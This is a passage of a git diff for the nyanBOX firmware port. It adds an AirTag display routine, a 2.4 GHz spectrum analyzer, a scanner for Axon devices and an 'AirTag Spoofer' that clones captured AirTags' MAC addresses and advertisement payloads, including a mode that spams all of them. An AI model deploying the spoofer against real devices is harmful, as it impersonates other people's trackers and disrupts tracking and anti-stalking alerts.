u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView && !airtagDevices.empty() && currentIndex >= 0 && currentIndex < (int)airtagDevices.size()) { + auto &dev = airtagDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "Addr: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Payload: %d bytes", dev.payloadLength); + u8g2.drawStr(0, 40, buf); + + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 50, buf); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "AirTags: %d/%d", + (int)airtagDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)airtagDevices.size()) + break; + + auto &d = airtagDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + + char line[32]; + char maskedName[33]; + maskName(d.name, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/airtag_spoofer.cpp b/cyd-port/src/airtag_spoofer.cpp new file mode 100644 index 0000000..d2f5332 --- /dev/null +++ b/cyd-port/src/airtag_spoofer.cpp @@ -0,0 +1,401 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/airtag_spoofer.h" +#include "../include/radio_manager.h" +#include "../include/airtag_detector.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; +extern std::vector airtagDevices; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +enum AirTagSpooferState { + SPOOFER_MENU, + SPOOFER_CLONE_SELECT, + SPOOFER_CLONE_RUNNING, + SPOOFER_CLONE_ALL_RUNNING +}; + +static AirTagSpooferState currentState = SPOOFER_MENU; +static bool bleInitialized = false; + +static int menuSelection = 0; +static int cloneTargetIndex = 0; + +static bool isAdvertising = false; +static unsigned long lastAdvertiseTime = 0; +static int currentCloneAllIndex = 0; +static unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; +const unsigned long advertiseInterval = 10; + +static bool needsRedraw = true; +static AirTagSpooferState lastState = SPOOFER_MENU; +static unsigned long lastRunningUpdate = 0; +const unsigned long runningUpdateInterval = 1000; + +static esp_ble_adv_params_t adv_params = { + .adv_int_min = 0x20, + .adv_int_max = 0x40, + .adv_type = ADV_TYPE_NONCONN_IND, + .own_addr_type = BLE_ADDR_TYPE_RANDOM, + .channel_map = ADV_CHNL_ALL, + .adv_filter_policy = ADV_FILTER_ALLOW_SCAN_ANY_CON_ANY, +}; + +void drawMainMenu() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "AirTag Spoofer"); + + if (airtagDevices.empty()) { + u8g2.drawStr(0, 28, "No AirTags found!"); + u8g2.drawStr(0, 44, "Run Detector first"); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "SEL=Exit"); + } else { + const char* menuItems[] = { + "Clone Target", + "Clone All (Spam)" + }; + + for (int i = 0; i < 2; i++) { + char itemStr[32]; + bool selected = (menuSelection == i); + snprintf(itemStr, sizeof(itemStr), "%s %s", + selected ? ">" : " ", menuItems[i]); + u8g2.drawStr(0, 28 + i * 16, itemStr); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=NAV R=OK SEL=Exit"); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawCloneSelect() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + char headerStr[32]; + snprintf(headerStr, sizeof(headerStr), "Select Target %d/%d", + cloneTargetIndex + 1, (int)airtagDevices.size()); + u8g2.drawStr(0, 12, headerStr); + + auto &target = airtagDevices[cloneTargetIndex]; + char targetInfo[32]; + char maskedName[33]; + maskName(target.name, maskedName, sizeof(maskedName) - 1); + snprintf(targetInfo, sizeof(targetInfo), "%.14s", maskedName); + u8g2.drawStr(0, 28, targetInfo); + + char addrInfo[32]; + char maskedAddress[18]; + maskMAC(target.address, maskedAddress); + snprintf(addrInfo, sizeof(addrInfo), "%.17s", maskedAddress); + u8g2.drawStr(0, 44, addrInfo); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "U/D=Scroll R=Start L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawCloneRunning() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Cloning Target"); + + auto &target = airtagDevices[cloneTargetIndex]; + + char nameStr[20]; + char maskedName[33]; + maskName(target.name, maskedName, sizeof(maskedName) - 1); + snprintf(nameStr, sizeof(nameStr), "%.14s", maskedName); + u8g2.drawStr(0, 28, nameStr); + + char addrStr[20]; + char maskedAddress[18]; + maskMAC(target.address, maskedAddress); + snprintf(addrStr, sizeof(addrStr), "%.17s", maskedAddress); + u8g2.drawStr(0, 44, addrStr); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void drawCloneAllRunning() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 12, "Clone All Spam"); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Targets: %d", (int)airtagDevices.size()); + u8g2.drawStr(0, 28, countStr); + + u8g2.drawStr(0, 44, "Advertising..."); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void initializeAdvertising() { + if (!bleInitialized) { + initBLE(); + bleInitialized = true; + } +} + +void startSingleClone() { + if (airtagDevices.empty() || isAdvertising) return; + + initializeAdvertising(); + + auto &device = airtagDevices[cloneTargetIndex]; + + esp_ble_gap_stop_advertising(); + delay(10); + + esp_bd_addr_t airtagAddr; + sscanf(device.address, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", + &airtagAddr[0], &airtagAddr[1], &airtagAddr[2], + &airtagAddr[3], &airtagAddr[4], &airtagAddr[5]); + + esp_ble_gap_set_rand_addr(airtagAddr); + + esp_ble_gap_config_adv_data_raw(device.payload, device.payloadLength); + + delay(10); + esp_ble_gap_start_advertising(&adv_params); + + isAdvertising = true; + lastAdvertiseTime = millis(); +} + +void startCloneAllSpam() { + if (airtagDevices.empty()) return; + + currentCloneAllIndex = 0; + cloneTargetIndex = 0; + startSingleClone(); +} + +void stopAdvertising() { + if (!isAdvertising) return; + esp_ble_gap_stop_advertising(); + delay(5); + isAdvertising = false; +} + +void airtagSpooferSetup() { + menuSelection = 0; + cloneTargetIndex = 0; + currentCloneAllIndex = 0; + isAdvertising = false; + lastButtonPress = 0; + currentState = SPOOFER_MENU; + bleInitialized = false; + needsRedraw = true; + lastState = SPOOFER_MENU; + lastRunningUpdate = 0; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); + + randomSeed((uint32_t)esp_random()); +} + +void airtagSpooferLoop() { + unsigned long now = millis(); + + if (currentState != lastState) { + lastState = currentState; + needsRedraw = true; + } + + static bool upPressed = false, downPressed = false; + static bool rightPressed = false, leftPressed = false; + bool upNow = digitalRead(BTN_UP) == LOW; + bool downNow = digitalRead(BTN_DOWN) == LOW; + bool rightNow = digitalRead(BTN_RIGHT) == LOW; + bool leftNow = digitalRead(BTN_BACK) == LOW; + bool centerNow = digitalRead(BTN_CENTER) == LOW; + + + switch (currentState) { + case SPOOFER_MENU: + if (!airtagDevices.empty()) { + if (upNow && !upPressed) { + menuSelection = (menuSelection - 1 + 2) % 2; + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed) { + menuSelection = (menuSelection + 1) % 2; + needsRedraw = true; + delay(200); + } + if (rightNow && !rightPressed) { + switch (menuSelection) { + case 0: + currentState = SPOOFER_CLONE_SELECT; + needsRedraw = true; + break; + case 1: + startCloneAllSpam(); + currentState = SPOOFER_CLONE_ALL_RUNNING; + needsRedraw = true; + break; + } + delay(200); + } + } + if (centerNow) { + delay(200); + return; + } + + if (needsRedraw) { + drawMainMenu(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_SELECT: + if (upNow && !upPressed) { + cloneTargetIndex = (cloneTargetIndex - 1 + airtagDevices.size()) % airtagDevices.size(); + needsRedraw = true; + delay(200); + } + if (downNow && !downPressed) { + cloneTargetIndex = (cloneTargetIndex + 1) % airtagDevices.size(); + needsRedraw = true; + delay(200); + } + if (rightNow && !rightPressed) { + startSingleClone(); + currentState = SPOOFER_CLONE_RUNNING; + needsRedraw = true; + delay(200); + } + if (leftNow && !leftPressed) { + currentState = SPOOFER_MENU; + needsRedraw = true; + delay(200); + } + if (centerNow) { + delay(200); + return; + } + + if (needsRedraw) { + drawCloneSelect(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_RUNNING: + if (leftNow && !leftPressed) { + stopAdvertising(); + currentState = SPOOFER_CLONE_SELECT; + needsRedraw = true; + delay(200); + } + if (centerNow) { + stopAdvertising(); + delay(200); + return; + } + + if (isAdvertising && now - lastAdvertiseTime > 100) { + stopAdvertising(); + delay(5); + startSingleClone(); + } + + if (now - lastRunningUpdate >= runningUpdateInterval) { + lastRunningUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawCloneRunning(); + needsRedraw = false; + } + break; + + case SPOOFER_CLONE_ALL_RUNNING: + if (leftNow && !leftPressed) { + stopAdvertising(); + currentState = SPOOFER_MENU; + needsRedraw = true; + delay(200); + } + if (centerNow) { + stopAdvertising(); + delay(200); + return; + } + + if (isAdvertising && now - lastAdvertiseTime > advertiseInterval) { + stopAdvertising(); + delay(5); + + currentCloneAllIndex = (currentCloneAllIndex + 1) % airtagDevices.size(); + cloneTargetIndex = currentCloneAllIndex; + startSingleClone(); + } + + if (now - lastRunningUpdate >= runningUpdateInterval) { + lastRunningUpdate = now; + needsRedraw = true; + } + + if (needsRedraw) { + drawCloneAllRunning(); + needsRedraw = false; + } + break; + } + + upPressed = upNow; + downPressed = downNow; + rightPressed = rightNow; + leftPressed = leftNow; + + delay(5); +} \ No newline at end of file diff --git a/cyd-port/src/analyzer.cpp b/cyd-port/src/analyzer.cpp new file mode 100644 index 0000000..5bc1636 --- /dev/null +++ b/cyd-port/src/analyzer.cpp @@ -0,0 +1,340 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include +#include "../include/analyzer.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include +#include "../include/pindefs.h" + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; +extern Adafruit_NeoPixel pixels; + +#define NRF24_CONFIG 0x00 +#define NRF24_EN_AA 0x01 +#define NRF24_RF_CH 0x05 +#define NRF24_RF_SETUP 0x06 +#define NRF24_RPD 0x09 + +#define SCREEN_WIDTH 128 +#define SCREEN_HEIGHT 64 +#define CHANNELS 128 + +uint8_t spectrum[CHANNELS]; +uint8_t peakSignal = 0; +uint8_t peakChannel = 0; +uint8_t avgSignal = 0; + +uint8_t viewMode = 0; + +enum ChannelFilter { + FILTER_ALL = 0, + FILTER_WIFI = 1, + FILTER_BLUETOOTH = 2, + FILTER_LOW = 3, + FILTER_MID_LOW = 4, + FILTER_MID_HIGH = 5, + FILTER_HIGH = 6, + FILTER_COUNT = 7 +}; + +struct FilterRange { + uint8_t start; + uint8_t end; + const char* name; +}; + +const FilterRange filterRanges[FILTER_COUNT] = { + {0, 127, "All"}, + {12, 72, "WiFi"}, + {0, 83, "Bluetooth"}, + {0, 31, "Low"}, + {32, 63, "Mid-Low"}, + {64, 95, "Mid-High"}, + {96, 127, "High"} +}; + +uint8_t currentFilter = FILTER_ALL; + +#define CE1 RADIO_CE_PIN_1 +#define CSN1 RADIO_CSN_PIN_1 +#define CE2 RADIO_CE_PIN_2 +#define CSN2 RADIO_CSN_PIN_2 +#define CE3 RADIO_CE_PIN_3 +#define CSN3 RADIO_CSN_PIN_3 + + +void writeRegister(uint8_t csn, uint8_t reg, uint8_t value) { + digitalWrite(csn, LOW); + SPI.transfer(reg | 0x20); + SPI.transfer(value); + digitalWrite(csn, HIGH); +} + +uint8_t readRegister(uint8_t csn, uint8_t reg) { + digitalWrite(csn, LOW); + SPI.transfer(reg & 0x1F); + uint8_t result = SPI.transfer(0x00); + digitalWrite(csn, HIGH); + return result; +} + +void setChannel(uint8_t csn, uint8_t channel) { + writeRegister(csn, NRF24_RF_CH, channel); +} + +void powerUP(uint8_t csn) { + uint8_t config = readRegister(csn, NRF24_CONFIG); + writeRegister(csn, NRF24_CONFIG, config | 0x02); + delayMicroseconds(130); +} + +void powerDOWN(uint8_t csn) { + uint8_t config = readRegister(csn, NRF24_CONFIG); + writeRegister(csn, NRF24_CONFIG, config & ~0x02); +} + +void startListening(uint8_t ce, uint8_t csn) { + uint8_t config = readRegister(csn, NRF24_CONFIG); + writeRegister(csn, NRF24_CONFIG, config | 0x01); + digitalWrite(ce, HIGH); +} + +void stopListening(uint8_t ce) { + digitalWrite(ce, LOW); +} + +bool carrierDetected(uint8_t csn) { + return readRegister(csn, NRF24_RPD) & 0x01; +} + +void renderSpectrum(); + +void analyzerSetup(){ + + Serial.begin(115200); + + cleanupRadio(); + + pinMode(CE1, OUTPUT); + pinMode(CSN1, OUTPUT); + pinMode(CE2, OUTPUT); + pinMode(CSN2, OUTPUT); + pinMode(CE3, OUTPUT); + pinMode(CSN3, OUTPUT); + + SPI.begin(18, 19, 23, 17); + delay(100); + SPI.setDataMode(SPI_MODE0); + SPI.setFrequency(10000000); + SPI.setBitOrder(MSBFIRST); + + digitalWrite(CSN1, HIGH); + digitalWrite(CE1, LOW); + digitalWrite(CSN2, HIGH); + digitalWrite(CE2, LOW); + digitalWrite(CSN3, HIGH); + digitalWrite(CE3, LOW); + + powerUP(CSN1); + writeRegister(CSN1, NRF24_EN_AA, 0x00); + writeRegister(CSN1, NRF24_RF_SETUP, 0x0F); + + powerUP(CSN2); + writeRegister(CSN2, NRF24_EN_AA, 0x00); + writeRegister(CSN2, NRF24_RF_SETUP, 0x0F); + + powerUP(CSN3); + writeRegister(CSN3, NRF24_EN_AA, 0x00); + writeRegister(CSN3, NRF24_RF_SETUP, 0x0F); + +} + +void analyzerLoop(){ + + static bool leftPressed = false; + static bool rightPressed = false; + static unsigned long lastButtonCheck = 0; + static unsigned long lastDisplayUpdate = 0; + static bool forceRedraw = false; + + unsigned long now = millis(); + if (now - lastButtonCheck >= 50) { + bool leftNow = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool rightNow = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (leftNow && !leftPressed) { + currentFilter = (currentFilter == 0) ? (FILTER_COUNT - 1) : (currentFilter - 1); + forceRedraw = true; + delay(200); + } + + if (rightNow && !rightPressed) { + currentFilter = (currentFilter + 1) % FILTER_COUNT; + forceRedraw = true; + delay(200); + } + + leftPressed = leftNow; + rightPressed = rightNow; + lastButtonCheck = now; + } + + memset(spectrum, 0, sizeof(spectrum)); + + const int sweeps = 30; + const int channelStep = 3; + const FilterRange &filter = filterRanges[currentFilter]; + + for (int sweep = 0; sweep < sweeps; sweep++) { + for (int ch = filter.start; ch <= filter.end; ch += channelStep) { + if (ch > filter.end) break; + + setChannel(CSN1, ch); + if (ch + 1 <= filter.end) setChannel(CSN2, ch + 1); + if (ch + 2 <= filter.end) setChannel(CSN3, ch + 2); + + startListening(CE1, CSN1); + if (ch + 1 <= filter.end) startListening(CE2, CSN2); + if (ch + 2 <= filter.end) startListening(CE3, CSN3); + + delayMicroseconds(100); + + if (carrierDetected(CSN1)) spectrum[ch]++; + if (ch + 1 <= filter.end && carrierDetected(CSN2)) spectrum[ch + 1]++; + if (ch + 2 <= filter.end && carrierDetected(CSN3)) spectrum[ch + 2]++; + + stopListening(CE1); + if (ch + 1 <= filter.end) stopListening(CE2); + if (ch + 2 <= filter.end) stopListening(CE3); + } + + if (sweep % 5 == 0) { + now = millis(); + if (now - lastButtonCheck >= 50) { + bool leftNow = digitalRead(BUTTON_PIN_LEFT) == LOW; + bool rightNow = digitalRead(BUTTON_PIN_RIGHT) == LOW; + + if (leftNow && !leftPressed) { + currentFilter = (currentFilter == 0) ? (FILTER_COUNT - 1) : (currentFilter - 1); + forceRedraw = true; + delay(200); + break; + } + + if (rightNow && !rightPressed) { + currentFilter = (currentFilter + 1) % FILTER_COUNT; + forceRedraw = true; + delay(200); + break; + } + + leftPressed = leftNow; + rightPressed = rightNow; + lastButtonCheck = now; + } + } + } + + peakSignal = 0; + peakChannel = 0; + uint16_t signalSum = 0; + for (int i = 0; i < CHANNELS; i++) { + uint8_t val = spectrum[i]; + signalSum += val; + if (val > peakSignal) { + peakSignal = val; + peakChannel = i; + } + } + avgSignal = signalSum / CHANNELS; + + now = millis(); + if (forceRedraw || (now - lastDisplayUpdate >= 500)) { + renderSpectrum(); + lastDisplayUpdate = now; + forceRedraw = false; + } +} + +void renderSpectrum() { + u8g2.clearBuffer(); + + static const int SPECTRUM_TOP = 18; + static const int SPECTRUM_BOTTOM = 55; + static const int SPECTRUM_HEIGHT = SPECTRUM_BOTTOM - SPECTRUM_TOP; + + const uint8_t scaleMax = (peakSignal < 10) ? 10 : peakSignal; + const FilterRange &filter = filterRanges[currentFilter]; + const int rangeWidth = filter.end - filter.start + 1; + + for (int ch = filter.start; ch <= filter.end; ch++) { + uint8_t val = spectrum[ch]; + if (val > 0) { + int barHeight = (val * SPECTRUM_HEIGHT) / scaleMax; + if (barHeight > SPECTRUM_HEIGHT) barHeight = SPECTRUM_HEIGHT; + if (barHeight < 1) barHeight = 1; + + int xPos = ((ch - filter.start) * 128) / rangeWidth; + u8g2.drawVLine(xPos, SPECTRUM_BOTTOM - barHeight, barHeight); + } + } + + u8g2.setFont(u8g2_font_5x7_tr); + + char filterDisplay[20]; + snprintf(filterDisplay, sizeof(filterDisplay), "<%s>", filter.name); + u8g2.drawStr(0, 6, filterDisplay); + + char rangeStr[16]; + snprintf(rangeStr, sizeof(rangeStr), "%d-%d", 2400 + filter.start, 2400 + filter.end); + int rangeWidth_px = strlen(rangeStr) * 5; + u8g2.drawStr(128 - rangeWidth_px, 6, rangeStr); + + u8g2.setCursor(0, 13); + if (peakSignal > 0) { + u8g2.print(2400 + peakChannel); + } else { + u8g2.print("----"); + } + + u8g2.setCursor(46, 13); + u8g2.print("L:"); + u8g2.print(peakSignal); + + const char* strength = (peakSignal > 30) ? "HI" : (peakSignal > 10) ? "MD" : "LO"; + u8g2.drawStr(110, 13, strength); + + u8g2.drawHLine(0, 15, 128); + + u8g2.drawHLine(0, SPECTRUM_BOTTOM, 128); + + char startStr[6], centerStr[6], endStr[6]; + int centerFreq = 2400 + ((filter.start + filter.end) / 2); + + snprintf(startStr, sizeof(startStr), "%d", 2400 + filter.start); + snprintf(centerStr, sizeof(centerStr), "%d", centerFreq); + snprintf(endStr, sizeof(endStr), "%d", 2400 + filter.end); + + u8g2.drawStr(0, 63, startStr); + + int centerWidth = strlen(centerStr) * 5; + u8g2.drawStr((128 - centerWidth) / 2, 63, centerStr); + + int endWidth = strlen(endStr) * 5; + u8g2.drawStr(128 - endWidth, 63, endStr); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/axon_detector.cpp b/cyd-port/src/axon_detector.cpp new file mode 100644 index 0000000..4a6f8b0 --- /dev/null +++ b/cyd-port/src/axon_detector.cpp @@ -0,0 +1,558 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/axon_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct AxonDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; +}; + +static std::vector axonDevices; +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + if (strncasecmp(addrStr, "00:25:df", 8) != 0) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (axonDevices.size() >= MAX_DEVICES) { + return; + } + + for (size_t i = 0; i < axonDevices.size(); i++) { + if (strcmp(axonDevices[i].address, addrStr) == 0) { + axonDevices[i].rssi = scan_result->scan_rst.rssi; + axonDevices[i].lastSeen = millis(); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(axonDevices[i].name, adv_name, adv_name_len); + axonDevices[i].name[adv_name_len] = '\0'; + } + + if (!isLocateMode) { + std::sort(axonDevices.begin(), axonDevices.end(), + [](const AxonDeviceData &a, const AxonDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + AxonDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + strcpy(newDev.name, "Axon Device"); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + } + + axonDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(axonDevices.begin(), axonDevices.end(), + [](const AxonDeviceData &a, const AxonDeviceData &b) { + return a.rssi > b.rssi; + }); + } +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void axonDetectorSetup() { + axonDevices.clear(); + axonDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Axon Devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void axonDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)axonDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)axonDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Axon Devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)axonDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (axonDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (axonDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if 